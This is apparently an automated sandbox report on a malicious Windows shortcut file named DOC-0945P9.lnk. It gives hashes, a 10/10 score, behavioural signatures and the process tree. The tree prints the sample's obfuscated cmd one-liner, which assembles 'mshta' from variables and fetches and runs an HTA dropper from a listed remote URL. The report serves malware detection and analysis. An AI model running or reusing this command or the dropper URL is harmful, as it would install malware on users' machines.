Analysis
- max time kernel
148s - max time network
114s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:27
Static task
static1
Behavioral task
behavioral1
Sample
DOC-0945P9.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-0945P9.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-0945P9.lnk
- Size 1KB
- Sample260803-qqa5hsab97
- SHA256 cbe4247aaaceefe6414a85cdc1fdeaa55b244e5e7976e9464d887d92d4e581b8
- MD5 b97b7e579201860ce85aba1987b49dac
- SHA1 b43dc41a72ccce902689365d9b6988c7171bda2e
- SHA512 c17cc5814493789359e2414070d1e6c1043fdd63cd2e592bfdbdf1fc255fc7938e78fdd914f33796bbd13bd046ce5afa4d97e16758c4caa299ef9cbafeed7a0c
- TLSH T15B3197102FF90618F3F39E3394BB571088BBB8568E20CA1D0150464C1032A05E57AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4676 cmd.exe 4064 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4676 wrote to memory of 4064 4676 cmd.exe 89 PID 4064 wrote to memory of 4344 4064 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-0945P9.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set gsAg=msh&&set Tc=ta&&start "" !gsAg!!Tc! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4064 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:4344
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